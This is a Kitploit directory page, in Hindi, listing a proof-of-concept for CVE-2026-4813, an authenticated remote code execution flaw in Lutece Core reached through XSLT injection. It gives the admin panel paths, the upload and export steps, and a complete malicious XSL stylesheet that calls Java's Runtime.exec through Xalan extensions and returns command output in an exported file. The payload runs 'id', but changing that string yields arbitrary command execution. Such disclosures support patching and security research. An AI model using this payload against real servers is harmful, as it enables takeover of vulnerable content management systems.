Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/trachinus/cve-2026-4813
भेद्यता विश्लेषणकोड विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंग
GitHubtrachinus/cve-2026-4813

CVE-2026-4813

ल्यूटेस कोर में XSLT इंजेक्शन के माध्यम से प्रमाणित रिमोट कोड निष्पादन के लिए प्रूफ-ऑफ-कॉन्सेप्ट शोषण, जो क्राफ्टेड XSL स्टाइलशीट के माध्यम से कमांड निष्पादन प्रदर्शित करता है।

रिपॉजिटरी देखें
1 दिन पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-4813 (CVSS-B 9.4 क्रिटिकल)

Lutece Core <= 7.1.7 में XSLT इंजेक्शन के माध्यम से प्रमाणित RCE

> स्पष्टीकरण और अधिक जानकारी मेरी वेबसाइट पर <

PoC

आपको व्यवस्थापक विशेषाधिकारों वाले खाते की आवश्यकता है।

  1. व्यवस्थापक पैनल पर, XSL निर्यात प्रबंधन पृष्ठ पर जाएं: /jsp/admin/AdminTechnicalMenu.jsp?tab=xslexportManagement#xslexport

  2. "Add a new transformation sheet" पर क्लिक करें।

  3. पेलोड (सरल id कमांड) के साथ एक .xsl फ़ाइल अपलोड करें:

root@kitploit:~
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" 
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime"
    xmlns:proc="http://xml.apache.org/xalan/java/java.lang.Process"
    xmlns:is="http://xml.apache.org/xalan/java/java.io.InputStreamReader"
    xmlns:br="http://xml.apache.org/xalan/java/java.io.BufferedReader">
    
    <xsl:template match="/">
        <xsl:variable name="process" select="rt:exec(rt:getRuntime(), 'id')"/>
        <xsl:variable name="inputStream" select="proc:getInputStream($process)"/>
        
        <xsl:variable name="reader" select="is:new($inputStream)"/>
        <xsl:variable name="buffereReader" select="br:new($reader)"/>
        <xsl:variable name="resultat" select="br:readLine($buffereReader)"/>
        
        <Output>
            <xsl:value-of select="$resultat"/>
        </Output>
    </xsl:template>
</xsl:stylesheet>
  1. नई XSL शीट सहेजें।

  2. उपयोगकर्ता निर्यात पृष्ठ पर जाएं: /jsp/admin/user/ExportUsers.jsp

  3. हमारे द्वारा अभी बनाई गई ट्रांसफ़ॉर्मेशन शीट चुनें और पुष्टि करें।

  4. id कमांड का परिणाम निर्यात की गई फ़ाइल में होना चाहिए।

टूल डाउनलोड करें